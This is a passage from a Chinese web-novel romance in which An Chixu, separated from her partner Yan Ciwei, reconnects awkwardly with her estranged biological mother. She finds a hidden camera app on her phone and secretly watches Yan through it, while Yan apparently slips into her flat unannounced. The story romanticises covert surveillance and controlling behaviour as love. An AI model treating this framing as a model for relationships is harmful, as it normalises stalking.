好像还刷了牙。安迟叙还能记得薄荷味冲着口腔,漱口时差点迷糊吞下去。 可是…… 梦里有天竺葵的苦香。 安迟叙被电了一样瞬间清醒,抓着头发努力嗅闻,把衣服、被单、枕头,都扒到面前。 她闻到恍惚,不同的味道杂糅在一起。新买的沐浴露洗发水洗衣液是不同的香型,为了不想起晏辞微,安迟叙特地换了不熟的味道,至今还没记住。 那一晃而过的天竺葵香散了。 安迟叙没能抓住,她有些辨认不出了。 安迟叙勉强挪下地,去洗漱准备上班。 门锁没有坏。 安迟叙关上门,不想锁,又觉得自己有点傻,还是拿钥匙转了两圈。 走出两步她忽然想到。 她昨天发疯一样扯了一地的行李被收了。 早晨起来时,地面是干净的。 行李箱被锁好放在角落。 静悄悄的看着她。 * * * 晏辞微真狠。 安迟叙在地铁上看着置顶的红色感叹号想笑。弧度弯到一半,抽成酸苦。 她承认晏辞微的计谋很有效果。 她开始不断的想她。 把安予笙甩了的时候在想她。 决定不再去理会安绾瑶的时候在想她。 上班路上和杜知棠闲聊的时候在想她。 干活摸鱼的时候在想她。 下班被几个同事拉去ktv的时候在想她。 一天才过去十个小时。 安迟叙有三万六千秒都在想晏辞微。 思念酸酸的。像绵绸的雨。 太细,太润。站在雨里还不觉意,眨眼就淋满一颗心。 进了ktv,玩的好的同事闹着要玩真心话大冒险。 她们看她心不在焉,平时行为挺神秘的,今天说什么也要把事情问出来。 “问吧问吧。”安迟叙玩了两下,发现杜知棠和午饭搭子合伙坑她,举手投降。 “那我先问!”午饭搭子要抢。 “我先认识安姐的,我先问!”杜知棠一把夺过话筒。 “你的戒指是女朋友给的吗?”她们在意那只银戒很久了。 安迟叙抬手看见,今天她也戴上这枚戒指。 “是爱人。”是姐姐,也是妈咪。安迟叙垂着睫毛轻笑。 听见她说的这么文艺,众人发出好长一声噫。 “结婚了?这么早。” “怎么认识的啊,也没见她找你。” “待会儿让她来接你呗,刚好我们看看。” 七嘴八舌的吵起来。 安迟叙默了一瞬,挑着回答。 “差点。也不早,都25了。” 也许两年前她不该逃婚的。 这样现在还能握着一本证明,去思念这个好坏好狠的人。 “还想问问题,得让我输了才行。”剩下的,安迟叙忽然眯眼,认真起来。 接下来几轮,没有人赢了她。联手都不行。 安迟叙又不是靠吃白饭考上的前五百,性子沉,脑子还是有的。 “哎呀作弊。安迟叙,你就说嘛~那个爱人是不是你置顶的那个?”杜知棠把牌一甩,开始耍赖皮了。 安迟叙把饮料推她面前。“自罚一杯吧。” 杜知棠撇着嘴喝下。 不含酒精,但是苦瓜汁。杜知棠喝的脸都扭了。 “是她。”就为了换这一个答案。安迟叙看着她啧啧称奇。 “你把她删了?还是最近在吵架?”杜知棠仗着喝了苦瓜汁,就想犯规。 安迟叙不作答。 “总不可能是不在了吧?”饭搭子小声嘀咕。 安迟叙听见这个说法,背着人轻哂。 大概…… 真的是不在了。 这样都不来见她。 大家不问了,换了个游戏。 安迟叙和她们玩到十点。 她手机响了,还以为是晏辞微的电话,想接。 拿起一看才知道只是闹钟而已。 提醒她该洗漱睡觉的闹钟。 晏辞微不在,安迟叙定了十多个闹钟每天提醒她该做什么。 不然以她的性子,肯定又要把自己照顾生病。 “我先回去了。”安迟叙没多留。 她不认为成年人的世界就要谈天说地喝酒抽烟,畅玩到通宵。 可能是和晏辞微在一起久了。她也觉得身体更重要。 和认识不久的人玩通宵也没意思。 安迟叙走的好准时。留下的人啧啧称奇。 “该不会是被那个神秘的戒指主人喊回去了吧?”午饭搭子挤眉弄眼,小声跟杜知棠八卦。 安迟叙都快关上门,闻言终于笑弯了眼。 她还真是,被晏辞微喊回家了。 * * * 九月二十一号过去了。 安迟叙在日历上看见今天22号时,有些惊诧。 她好像把日历提醒取了,难怪没想起来。 之前给安绾瑶买的礼物,她填的也是安予笙的地址和联系方式,礼物肯定已经送到了,安予笙每天都来发好友申请。 安迟叙不理安予笙,安绾瑶彻底跟她没关系了。 安迟叙收好东西准备出门,想。 其实抛开两个血亲。 自己一个人的日子,她也过习惯了。 就是有点寂寞。 一点点而已。 安迟叙捏上新折的蝴蝶放进口袋。好像晏辞微也跟着她一起去上班了。 新岗位开始有项目。 安迟叙作为刚入职的底层策划,自然只能跟着组长跑。 她们是活动策划,平时要做的事不多。 这次要和杜知棠所在的版本策划一起,去跟合作商对接。 杜知棠看见安迟叙,跟她招招手。 她们的午饭搭子今天请假不在,两个人还要帮忙记笔记。 “我第一次跟项目,之前暑期实习都在跑腿打杂,好紧张啊。”杜知棠顶着眼底的青黑哀嚎。 “没办法,版本策划任务重。你最近还加班?”安迟叙是那种宁愿被扣工资也不多留的。 然公司找不到扣工资的借口,小组长看她再不爽,也只能顺着她的工作习惯走。 安迟叙没房贷没小孩,前不久才在众目睽睽之下跟亲妈大吵一架几乎断绝关系。看吃穿用度,还不缺钱。 这种人最难管教,也不知道出来工作什么。 小组长看见她就头疼,还去戳版本策划组长,让她看着点杜知棠,别让人带坏了。 “加……没办法姐,我还想要加班费。”杜知棠被小组长找过谈话,也是无奈。 她真缺一份正式工作,和安迟叙不一样。 “也好。”能主动给加班费的,除了晏辞微,安迟叙又见一个。 下个月安迟叙才会知道杜知棠也拿不到加班费。会主动给加班费的上级,真就只剩晏辞微了。 “这次合作商很重量级。大家听好了……”两个组长一起给组员做思想准备工作。 安迟叙听得昏昏欲睡,手还在记笔记。 杜知棠神游天外,忘了自己要给午饭搭子写。 隔会儿启程,杜知棠看了一眼安迟叙写的“甲骨文”,两个人一起沉默,决定就这样发给午饭搭子。 对接负责人叫遇少微。 安迟叙总觉得这个名字有点耳熟,又不知道自己哪儿听过。搜刮记忆几回,差点把脑子刮痛,也没想起来。 她小时候的事藏在脑海深处,太模糊。 显然她不是在遇到晏辞微之后才遇到这位遇少微的。 等对接时见面了,安迟叙抽抽嘴角。 终于想起来自己哪儿听过遇少微。 看着来人猫一样的眼神,小巧的鼻子。 安迟叙深吸一口气。 遇少微是安予笙的前妻。 安迟叙血缘上的另一个妈咪。 没想到十年了。 遇少微也没离开c市。 只是遇少微对安迟叙,比安予笙对安迟叙更陌生。 她只是在开会的过程中多看了安迟叙几眼,觉得有些熟悉。 还不是好方向的熟悉。安迟叙实在让遇少微想起那段不愉快的婚姻,早没联系的前妻。 遇少微真把安迟叙留下单独给她讲想法了。 安迟叙在办公室里对着遇少微沉默。 她实在喊不出口。如今无论妈妈还是妈咪,都成了晏辞微的专属。 遇少微对她来说和陌生人的区别只在梦魇。 但晏辞微养了她十年。梦魇早就没有那么可怕了。 “你叫什么?”遇少微想知道。 安迟叙叹息一声。 “安迟叙。”她第一次报出自己名字的语气这么微妙。 “我是安予笙的女儿。”想让遇少微别猜了。 又不想喊她妈咪。 安迟叙挪过眼神。 遇少微愣在原地,表情跟有人拔了她网线差不多。 “你……你怎么回来了?不是去s市念书?毕业了?”遇少微在安迟叙大学第一年还记得给她打生活费。 虽然每个月就五百,和安予笙给的数目一样,但好歹有。 之后彻底忘了这个人,现在也早就组建了自己的家庭,有了新的小孩。 “想回来,就回来了。”安迟叙对她突如其来的关系感到不适。 小时候安予笙工作忙,遇少微带她更多。 但遇少微是个爱玩的性子,不会照顾小孩。经常玩过头,把安迟叙忘在身后。 安迟叙跟着她去过游戏厅、舞池、酒吧。 小小的安迟叙哪儿知道那些是什么,只知道妈咪不在,这些地方好乱好吵,害怕的想哭又不敢,妈咪回来会训她。 “加个联系方式吧。这次回来定居?也对,都有工作了。你和……安予笙最近怎么样?”遇少微拿出手机。 安迟叙眉头轻拧起。 她从小到大都胆小,对热情的陌生人更是。尤其遇少微在她这儿也不算有多好。 安迟叙无所适从的回着遇少微的话,五分钟后以该回公司为理由迅速逃走。 下班回到家,遇少微还给她发了消息,想关心她的近况。 【小叙,工作还适应吗?是刚回来?生活怎么样,有没有喜欢的人?】 安迟叙看着白底黑字就作呕,划出聊天框想删掉应用程序。 她深呼吸。 鼻尖轻盈的缭绕起天竺葵的冷香。 安迟叙指尖微顿。 她抬头没看见晏辞微人,再深呼吸也没闻到天竺葵的香味。 似乎一切都只是她的错觉。 ……买一瓶吧。想她了。 安迟叙进了购物软件,找到以前给晏辞微买的香水,下单。 退出时,看见一个陌生的应用程序。 安迟叙以为是系统自带不想管,一不小心手滑点了进去。 竟是个查看监控录像的应用程序。 屏幕黑了一秒后画面恢复清晰。 程序连接的是放在某个办公室里的摄像头。 安迟叙瞳孔骤缩。 她念了上万秒的脸,忽然出现在屏幕上—— 作者有话说:晏辞微:报复我的算计是吧,到处说我死了(微笑) 安迟叙:没有啊,只是说你不在了(猫猫缩头) (把猫猫捉起来)(亲亲抱抱蹭蹭)(猫猫打呼) 第67章 第 67 章 视线对在一起 是晏辞微啊。 晏辞微坐在摄像头前, 她的办公室里。正垂头翻看着最新文件。 她看的速度很快,一扫就是下一页。 最后再抬手签字,又是下一份。 晏辞微瘦了。 脸蛋比起先前减了肉。最难减的地方都如此, 安迟叙不敢想她身上掉了多少斤。 她们分开不过三周。晏辞微怎么会清减成这样。手骨都清晰了不少, 流畅的线条随动作凹凸。 安迟叙凑近了。她鼻尖快要贴在屏幕上,这样都嫌看不清,好想直接穿过屏幕来到晏辞微身边,把她分开二十多天的姐姐好好看一遍。 看她有没有熬出黑眼圈,眼白的血丝是不是又重了, 脸上的痣会不会被抠红。 看她今天随意扎的盘发散下多少根, 用的是自己什么时候送她的发圈, 还是留在她家的饰品。 安迟叙拨动屏幕, 如此迫切的希望她是在玩游戏。可操控可放大。 不然就这样呆呆看着一个角度的晏辞微, 也太让人心渴了。 可惜,摄像头是最基础款。别说转动了,画质都不是很好。 安迟叙放大了两次就不能再动了,没法看清晏辞微的每一根睫毛, 只能粗略看见她漆黑的眼瞳, 眸光倒映的红点都不那么清晰。 安迟叙缩回原始尺寸。 看不清细节,那她想看见更完整的晏辞微。 可惜摄像头放的太近了。缩小也只能看见晏辞微的半个身子。 晏辞微没有被她这番动作惊动。翻页的动作都没有停。 也不会看向摄像头, 和安迟叙隔着时空对视。 也是啊。摄像头是单向的。 晏辞微不知道安迟叙这会儿在看。 也许只是试探着将摄像头打开, 也许只是那次圈养之后没有关闭。 安迟叙不知道自己在失落什么,睫毛轻轻盖住眸光,却不眨眼。 就这样痴痴的盯着屏幕。 半晌。 晏辞微起身离开摄像头范围, 安迟叙才一个点头,恍惚惊醒。 屏幕里没有了心心念念的身影,短暂的梦已然收场。 安迟叙退出软件, 小心翼翼的仿佛身边有一万双眼睛盯着她,时刻准备嘲笑她。 她姿态扭捏着,直到把屏幕也划回没有软件图标的主界面。 这才敢松一口气,看向周围。 她明明在她租的房子里。附近哪儿可能有鬼以外的存在。 她只是羞耻心作祟,不想承认自己的关切、偷窥。 一个多小时啊。 安迟叙确认时间的时候都不敢相信。 她做这么没有道德的事竟然如此沉浸,一个小时过去都不知道。 安迟叙把手机关机扣在桌上,做贼似的迈步,走进厨房才算好。 她给自己煮了点饺子当作晚饭。 吃的时候慢吞吞,好像有谁在旁边看她,突然又加速。 一直到入睡,安迟叙都没再打开那个软件,看上心心念念的人一眼。 她设定好闹钟把手机放在床头柜里,关上灯。 总感觉,黑暗里有一股视线。 很淡,很凉。红色的,幽幽如鬼。 视线涣散时感觉最明显,等聚目去找,怎么也找不到。 安迟叙该习惯这样的凝视,她盖好被子闭上眼。 如果她的房间里真的有一只鬼。 那只会是晏辞微。 * * * “昨天那个负责人喊你去汇报,又说什么吗?”午饭时,杜知棠好奇道。 也不怪她八卦。她是看遇少微模样和安迟叙有些相似,又见遇少微越过她们上级组长,直接找了安迟叙,想知道到底什么事。 “就你八卦。”安迟叙啧一声越过她,排在她前面。 “好姐姐你告诉我吧。她和你眉眼好像哦。”杜知棠自知理亏,也就让安迟叙插她队了。 “这你都看得出来?血缘上来讲,她是我嗯……妈咪。”喊出这个称呼时,安迟叙多少有些不适应。 这个称呼已经有了别的主人。遇少微早就不是她的妈咪了。 “但是我高中她和我母亲离婚,快十年没见了。”安迟叙耸肩,赶紧把不适应的感觉排开。 “这样,难怪感觉她表情不太对劲。”杜知棠眼看着安迟叙把最后一个炸蛋买走,终于后悔刚刚让她。 “那你母亲是之前那个……”饭搭子在旁边多问了一句。 她那天去晚了,没见到人,就听杜知棠在那儿手舞足蹈的比划。 “嗯。”安迟叙也没有多说的意思,两个人赶紧换了话题。 吃饭的时候安迟叙捏着手机,多少有些心不在焉。 两个人还以为是提到亲人,惹她伤心了,约好之后不提这方面的事。 下午,四点五十五安迟叙就拿着工牌在签到机旁边等着刷卡。 她的好同事们都被无情留下加班了,只有她一个人跑得快。 五点一到,安迟叙刷了卡就走,惹来一办公室幽怨的眼神。 杜知棠试图给她打招呼。安迟叙也没看见,径直离开。 也许安迟叙今天心情不好。杜知棠闷回工位上赶她的汇报。 新公司不大,是和别的公司合租的写字楼。 安迟叙下楼时电梯还很空。整栋楼都没几个准时下班的。 门口堵着的那辆黑车就显得有些醒目了。 安迟叙心收了下,看清款式后骤然一松,又是刺痛。 她打开手机看了一眼,除开群聊,朋友。只有遇少微给她发了消息。 【几点下班?今天一起吃个饭吧。好歹我也算你妈咪。】这条消息是中午发的。 安迟叙一整天没碰手机,避手机就像避洪水猛兽一样,生怕自己点进不该点的。自然没看见。 她思考了下晚上的活动。报名的绘画班有录屏,线上。不去也可以。 【我在门口,你是黑车?】 黑车摇下车窗。 安迟叙坐上去。 “工作很忙?都不看手机。”遇少微看她坐后排,也不在意。 反正也是女儿,把她当司机也合理。 家里那俩就把她当司机,假期天天和同学出门,叫她接送。 “也不是。不和她们卷。”安迟叙望着窗外,思绪又一次飞出身体,顺着掠过的景模糊。 “没睡好?”第二次喊安迟叙,安迟叙不回时,遇少微回过头看她。 安迟叙黑眼圈不重,整个脸白白净净的,模样清秀可人。 遇少微瞅着她脸上的雀斑才想起来,安予笙以前总和她愁这雀斑。 小安迟叙的雀斑可重了,麻子一样点在脸上。 好像是她暑假带着安迟叙到处走,忘了给小朋友做防晒,硬生生晒出来的。 当时安迟叙也不白,被晒黑了两个色号。 手臂和肩膀有清晰的分界线。 又瘦,骨头大而明显,远远看过去像个小猴子。 谁都想孩子长得漂亮点。再不济,也该像妈妈妈咪。 安予笙不说多美,好歹五官和谐精致,年轻时柔情似水颇有韵味。 遇少微更是系花,到现在也有很多人追求,偏偏爱玩,花蝴蝶似的走哪儿都惹一身情债。 她们俩的女儿小时候不大好看。 现在却出落得水灵,茉莉一样漂亮,五官攻击性不强,更朦胧,是氛围感美人。 遇少微看着她觉得怪可爱的。以前没想过安迟叙会长这样。 “嗯?也不是。”安迟叙回过神,对是遇少微的脸。 近十年不见,遇少微依旧年轻的像三十岁。 安迟叙闪过几个回忆片段。是在嘈杂的舞池角落蹲着,等她那众星捧月的妈咪玩够,带她回家。 是遇少微心大的把她交给认识不到一天的姐姐看管,那个姐姐拿着酒杯问她会不会喝,她摇头都不敢,硬是被喂了一口,呛了半个小时。 是周末在家两个人一起等加班的安予笙。遇少微突发奇想找出一盒陈年土豆,切了炒菜,刚要给安迟叙尝。 回来安予笙看见垃圾桶里带芽的土豆皮,把遇少微痛批了一顿,两个人差点打起来。 遇少微也不是好妈妈。 安迟叙知道的。要不然她哪儿至于无家可归,被晏辞微捡回家。 不要被她现在的亲切蒙蔽。 安迟叙怔怔听着遇少微同她讲话,眼前的人影愈发模糊、陌生。 当初安迟叙听不懂两个人的争吵。 现在回忆起来,她隐约明白,争吵的根本虽然是柴米油盐,是一团糟的生活,是怎么也不够的钱,还不起的房贷。 但明面上的理由,是遇少微出轨被安予笙逮到了。 安绾瑶的到来是安予笙对遇少微的报复。 安迟叙想到这儿,想扯扯嘴角。当一个最坏的成年人,打破十岁小朋友朦胧的粉梦,告诉她,她的来历。 才不是因为安予笙爱她,才不是因为准备充分的计划。 连意外都算不上。不过是报复。 笑容停在一半。安迟叙落下睫毛,有点恶心自己的想法。 可能自己也不是什么好人。 毕竟自己是安予笙和遇少微的女儿。 “有心事是吧,讲出来会好受点。”车停下了。 遇少微真转过身去看一路不搭理她,望着窗外出神的安迟叙。 “啊,嗯……有吧。”有也没法说。 安迟叙最亲密无间的人在和她玩计谋,她上哪儿去找第二个人,能接纳她苦闷,不时发作的恶意,偶尔解释不清的酸楚,从来不讲道理的情绪。 遇少微也不行,安予笙也不行。 一定要晏辞微。 “不是大事。”是大事。安迟叙只是不想开口。 “那下车吧。到了。”遇少微也不多问了。 她们是没有那么亲。她迟来的责任心和愧疚披上母爱的名号,硬生生的作祟。 没能成功,她情绪也没法好,有点莫名的恐惧,想伸手抓住安迟叙的手腕。 可安迟叙早离开她们十年了。 十年足够安迟叙长得比遇少微还高一点。也够丑小鸭变成白天鹅。 遇少微自嘲着提了提嘴角,甩过头发。挑染的蓝色融入夜空,夜色一般自由洒脱。 安迟叙的视线始终落在自己的手提包里。 她想拿出手机。 就看一眼。 好歹忍住,跟上遇少微的步伐。 * * * 遇少微挺健谈的。 只要抛开她是自己妈咪这一点。安迟叙也能和她畅聊。 安迟叙也不意外遇少微能做到项目负责人的位置上。倒是更奇怪,原本已经是主管的安予笙,怎么跟失业了一样天天闲得发慌,信息骚扰。 菜上了一半,遇少微也终于提到她们当年离婚的事。 “我和你妈妈……是挺对不起你的。”遇少微也不知道从哪儿开始谈。 她不擅长道别,更不擅长道歉。 任何会把快乐送走的事她都不想做。和安予笙吵架的那几年真的很痛苦。 “有什么想问的吗?那会儿你还小。可能很多事都没弄清楚吧?”遇少微是走过场一样提了一嘴过去。 安迟叙看见她的眼睛。 她们的眼型不一样,安迟叙随安予笙,都是杏眼,又大又圆,没表情时很纯真,偶尔看起来呆呆的,好欺负。 遇少微却是攻击性很强的狐狸眼,此刻她撑着脸看向安迟叙,双目微弯,眼光就带上锋锐。 她不想说。 安迟叙看出来了。 却偏要问。 安予笙好歹给她道歉过,给过钱。 没见面的那两年安迟叙当真以为安予笙爱过她,想和她和好是因为把她当女儿。 遇少微一上来就和安迟叙套近乎,亲得好像不是分隔了十年的母女,是两天没见的好姐妹。 安迟叙没看见愧疚,没看见心虚,没看见爱。 遗传自她们的恶意发作了。 安迟叙明知故犯,还会利用一双单纯的杏眼佯装无辜。 “那,能不能告诉我你们当初是怎么结婚的?” 安迟叙好奇很久了。 从两个人第一次吵架开始。 两个人性格明明不合适,也不像一个世界的人。 安予笙安静沉稳,遇少微奔放张扬。 安予笙家境好成绩好,世俗意义上很成功。遇少微家里掏不出两个子儿,成绩烂上天,毕业天天打零工。 就像关不住的野风遇到密闭的金笼子。 她们会被彼此吸引就像一个恶心的奇迹。 安迟叙看见遇少微表情明显的卡顿。 笑了下。 “啊,嗯……就。”遇少微索性低头吃一口饭。 可她逃不过。 安迟叙不是被她们养大的。养育安迟叙的人最有计谋,最会用眼神达成目的。 遇少微抬头时,安迟叙给她清灵灵的笑,好无辜,就像原谅了她——在她回答完这个问题之后。 遇少微不得不开口。 “我们是相亲结婚的。”这孩子怎么没点眼力见呢? 遇少微眼神往后躲,真不想多说安予笙的事。 但都开口了。遇少微顺着顺着,真把早年的事翻了出来。 “或者说两家有约吧。我喜欢在外面玩,玩很大,不着家让我妈老操心。你可能不知道,就不说细节了。当时前任死缠烂打,闹上我家,要钱要人,我妈喊我必须解决,就开始给我组相亲局。” “安予笙是我学姐。以前认识,觉得信得过就结了……谁知道她要求那么多,相亲结婚本来就没有感情,不该各玩各的吗?非要管我……我,咳。我也老实了几年的,但她脾气多差你又不是不知道,我是受不了她。” 这是安迟叙从来没有想过的角度。 遇少微几句话把自己从安迟叙的不幸中摘出来。 “但没有说受不了你啊。你是个可爱的小姑娘,安静好带。比我家……”遇少微话说到一半不说了。 安迟叙没控制住嘴角。 她扯了下,干脆把它变成完整的笑,好像信了遇少微的话。 信了这份迟来二十年的夸奖,信了遇少微喜欢她,觉得她是最好的女儿。 “吃饭吧,今天我请客。”遇少微也柔了眉眼,没和安迟叙计较她的追问。 “好,谢谢。”安迟叙低下头。 盖住眸光的情绪。 她指尖好痛,好凉。 眼睛好痒,控制不住的去看她的手提包。 那里躺着她一天没碰的手机,藏着她舍不得删掉只能隐藏来麻痹自己,却又清楚记得名字的应用程序。 安迟叙闭着眼也能回忆起昨夜看见的脸,睁开眼仿佛鬼就在身边。 抱着她。鬼魂的气息凉了安迟叙半个身体,吹得她耳发细碎。 安迟叙终究没动。 鬼的凉散了。 她咬下一口饭菜。喉头涌出发馊的酸味。 安迟叙慢慢咀嚼、吞咽。 食物溜进喉头,划破一般刺痛。 遇少微方才话里话外,全是隐瞒真相、推卸责任。 十年不闻不问。 她也有了新的家庭。 同样的,不觉得自己对不起大女儿。 原来没有母亲知道该如何面对分开十年,险些遗忘的女儿。 * * * 周末了。 九月快过去,安迟叙打开手机,最近她允许自己看一眼那个软件。 在路上对着它发呆,想一想摄像头拍到的那个人这会儿在做什么。 但不打开。 怕一打开,自己会一发不可收拾。 安迟叙又一次打开对着屏幕发呆,然后关上手机屏幕。 杜知棠扒在她旁边,瞅了一眼,没看出名堂。 “你最近是不是遇到什么事了?是你母亲的吗?” 快一周了,安迟叙一直这样,杜知棠怪担心的。 今天她们社群里几个人约着出门逛街。 安迟叙和杜知棠最熟,剩下算是网友,其中一个在小区里见过一面,住安予笙那栋楼。 剩下两个是情侣,住杜知棠小区,但彼此都没见过。 杜知棠是压低声音问的。 安迟叙一个激灵,摇头。“我把她拉黑了。最近也没去看妹妹。” “那,莫非是你爱人?”杜知棠看向安迟叙手上的戒指,想起上次ktv里饭搭子给的猜想。 总不可能安迟叙的爱人真的不在了吧? 安迟叙想给她一个平常的笑。 眼碰到手上的戒指,笑就散在空中。 这会儿欲哭未哭,看着怪丑的。 杜知棠急忙安慰。“她会陪着你,一直在的。你得好好过下去。” 安迟叙勉强重新弯起笑,默了会儿才反应过来。 杜知棠真以为晏辞微不在了。 走在商场里,安迟叙一口气叹不出来。 晏辞微若真只是不在了,她还有什么可纠结的。 下去陪她就是了。她们说好了要一起下地狱。黄泉路那么冷那么长,怎么舍得让对方一个人走。 就是因为晏辞微还在。 不停的,刺激着她的心。 让她魂魄都不是自己的了,满心满眼只剩晏辞微。 多狠啊,又蔫坏。 论计谋自己怎么可能比得过她。 安迟叙悄悄唾弃了一句,扬起头。 头顶的监控红红的闪了一颗光,像鬼魂的眼。 安迟叙跟上朋友的步子,今天不想多开口,就听她们讲话。 一路走一路数。 商场一层就有十五个监控摄像头。 开了十个,五个黑如墨,死死的沉寂。 “小安安呢?”朋友的话题突然聊到安迟叙身上。 同小区的小姐姐被打趣了,拿她转移话题。 “嗯?”安迟叙想事情的时候眼神呆呆的,像忽然被叫到的猫。没想好要不要向前走,一双眼有光无神。 “你有没有喜欢的人?有吧?”小姐姐是被那对情侣追问了,答不出才来肘安迟叙。 杜知棠噫一声要把话抢过去。 “她不在。”安迟叙挺平静的,认下杜知棠的猜测。 算了。就让这狠心的狼不在吧。 反正也不来找她。 就是不在了。 小姐姐有点尴尬。 那对情侣更是,牵着的手都想要分开。 “没事,算不了什么。我们……”这下安迟叙拿回了话题主动权,刚要引导。 余光看见遇少微。 话卡了一下。 “安迟叙,那不是你……”杜知棠也卡了一下。 她该怎么喊安迟叙分开很久的妈咪? “安迟叙。和朋友出来逛街?”遇少微反而很自在,手里抱着一个小的,牵着一个大的,就朝安迟叙走了过来。 “你们先去饭店吧,我跟她聊两句。”安迟叙把朋友们打发走了。 遇少微扫了一眼她中指的戒指,倒也没问。 “这是你现在的女儿吗?”安迟叙看了一眼遇少微带着的两个小朋友。 一个大概五岁,一个也不过初中。 算算时间。如果都是亲生的,那遇少微出轨挺久了。 “这是我和前妻的女儿,安迟叙。”遇少微给她们介绍彼此。 “这是我现任的女儿,池开灵。这个是我和她的女儿,遇景。两个小宝,喊姐姐。” “姐姐~”五岁的遇景有点怕生,不过听话,奶声奶气的喊了安迟叙。 十四岁的池开灵不太情愿,估计是被妈妈妈咪硬扯出来玩的,看了安迟叙一眼就低下头,往遇少微身后躲,不想认外人当姐。 安迟叙也不想随便认妹妹,就蹲下摸了摸遇景的头。 遇景脸红了。她皮肤白且薄,血管涨开颜色异常明显。 “姐姐漂亮……”五岁小姑娘懂什么姐姐妹妹前妻现任。 小朋友一眼望不到雀斑,她就知道安迟叙又高又瘦,衣品好,眼睛大。 遇景随她妈妈,颜控晚期没救了。 “小灵,怎么不喊人呢?”一个声音轻轻靠近。 看她第一眼,安迟叙就觉得熟悉。 女人约莫四十岁,岁月留痕,却只给她增添韵味。她声音柔眼神淡,最重要的是浑身气质飘渺,亦仙亦鬼。 安迟叙略微走神。 她想,如果晏辞微长到四十,也许也会是这样。洗净铅华一般,气质独到,五官还很和谐完美。 “妈。”池开灵拧着眉头发烦。“我都要中考了,本来就没空跟你们出来……” 眼看着就要吵起来。 “没关系的,她也没见过我。”安迟叙赶紧打圆场。 她最知道沉默的人被逼着和生人打招呼是什么感觉。 “池阿姨别生气。” “池阿姨”笑出了声。 遇少微给安迟叙解释。“她姓景。小灵是她前妻和别人所生。” 安迟叙在原地头脑转圈,试图理清这复杂的关系。 “你和朋友吃饭,还是我们请你?”景阿姨拍了拍池开灵的头,这才对上安迟叙的眼。 “啊不用请,已经请过了的。我今天也和朋友约好了。”安迟叙停止了思考,放弃整理她们的关系。 “有机会再见。”安迟叙想赶紧回到熟悉的环境。和朋友在一起她会更自在。 也更少的想到手机里的程序。 “好。下次再一起吃饭啊。总得让我们家请你一次。”遇少微跟安迟叙挥手。 安迟叙都要走远了。 腿忽然被一个白团子撞上。 “安安姐姐!”是遇景。她手里攥着一个盲盒开出来的小玩偶,塞到安迟叙手里。 长得丑丑的,颜色鲜艳,小朋友的最爱。 “乖,我不能收。”安迟叙肯定不会贪五岁小孩的便宜。 “那能不能加个微信?”遇景问的小心翼翼,看得出紧张。 “你还有微信?”安迟叙还是拿出手机给她看微信名。 “我有电话手表……谢谢!”遇景学她妈妈,勾到漂亮姐姐的联系方式之后欢快的跑回她的家庭。 安迟叙通过了遇景的好友申请,远远望着她。 遇少微牵起遇景的手,没两分钟就松开,看衣服去了。 景阿姨接棒,抱住小小的女儿。 池开灵虽然沉默满心学习,但妹妹跟她说话,她也会回。 眼睛亮亮的。 她应该很喜欢这个没有血缘关系的妹妹。 安迟叙早该上楼。 可她立在原地看了好久。 好久。 久到她已经摸到手机快要打开那个软件。 安迟叙猛一回神,收了手机朝饭店赶。 真幸福啊。 * * * 安迟叙回家趴在桌上。逛街走一天累死了,也不知道这几个人哪儿来那么多精力。 她累的想睡,眼睛却闭不上,睫毛垂落似枯叶,好像精力都被抽走,连睡觉的力气都没有。 其实没有遇到什么事。 安迟叙回忆今天发生的一切。 和朋友出去玩了,买了冬季的衣服。遇到了遇少微一家,但也只是寥寥打了招呼。 遇少微有真正的新家,已不在乎安迟叙。所以不需要她,更不会和她吵架。 至于这两个妹妹,和安绾瑶也不一样。 她们也许真的在爱里长大。尤其遇景,性子再忸怩,也有姐姐妈妈护着。 她们都不缺安迟叙。安迟叙也不需要她们。 安迟叙只是…… 不快乐。 和朋友出门感觉也淡淡的。心不在焉,老想着那个人。 看见遇少微一家更不开心。情绪虽然浅,但持久,中午见了,现在还在发酸。 酸味也只有一点,是食物放久的发酵。 有的食物就是这个味道,它偶尔是正常,偶尔是腐败,安迟叙连找到再将它呕出来都做不到。 好像吃了一颗软趴趴的樱桃,不确定是不是坏了,肚子微妙的不舒服,作为呕吐的前奏来讲太轻微。 安迟叙趴了好一会儿,拿出手机又放下。 她可以不看吗? 她问她自己。 余光在书桌上打转。 来这儿一个月,书桌被她堆的乱糟糟。 手写的回忆录,工作上的琐事,画毁的草稿纸,折蝴蝶的色卡…… 所有东西堆成一座小山,将安迟叙掩埋。 安迟叙竟从来不知道自己这么没收拾。和晏辞微在一起时,她的房间井井有条。大概,是晏辞微将她照顾的很好。 她可以看吗? 她问不在身边的那个人。 安迟叙忽然瞥见一个软乎乎的东西。 她坐起来抬手去找,竟在纸片堆下翻出了她的棉花娃娃。 她不记得有把这棉花娃娃放在这里。上次找出来,她应该又把它收了回去。 这不是她的东西,是晏辞微的。 她执着的想留在一起还给晏辞微,还幻想过要把它们一股脑的甩在晏辞微脸上,罚她的狠,生她的气。 怎么会在桌上? 怔愣五秒。 她看见她的东西成堆了。左边是回忆录,中间是工作,右边是草稿纸和色卡。 安迟叙忽然拿出手机打开那个软件。 晏辞微的身影再次出现在屏幕上。 * * * 晏辞微在家里呢。 虽然不知道是哪儿的家,但安迟叙熟悉这装潢。 她们曾一起躺在这床上手牵手。什么都不做,只是感受窗外的风。 也趴在一起聊过要置办的家具。像晏辞微现在正躺着的懒人沙发。 晏辞微怀里抱了个平板。监控角度看不清她在看什么。只看表情,应该是很好的东西。 晏辞微睫毛垂的很低,嘴角却翘的高。坐在画面侧边,恬静像油画。 于是安迟叙也找了一个垫子。 她一个人就没买懒人沙发。这东西要两个人抱在一起坐才好。 一个人可以用垫子将就。安迟叙也坐在床边的地板上,有样学样的找了个平板。 她随便放了个综艺。 晏辞微看多久,她就看多久。 晏辞微起身去倒水,安迟叙也给自己倒水。 晏辞微在阳台叼着水果烟消愁,安迟叙挑着眉靠栏杆向远望去。 窗外是夜色浓,黑漆漆闪着几点星。 她看不见自己被风吹起的发丝,也看不见监控里晏辞微模糊的轮廓。 朦胧的氛围多暧昧,多漂亮。 可安迟叙想夜色也没什么好,不如她的心上人。 晏辞微呼出的烟白茫茫。 但更多时候她只是点着捏在手里,任火星向后燃烧,烧出一点味道。 安迟叙没有看见过晏辞微在她面前抽。 有瘾吗?多久了? 晏辞微不会回答她。她只是在看晏辞微留下的遗产。 安迟叙只能找零食,翻到同事前天给的糖果,含在嘴里。 糖果和烟不一样。安迟叙这颗不好吃,不然也不会被同事拿来送人情,办公室人手一颗发着玩。 效果呢,也怪有区别的。 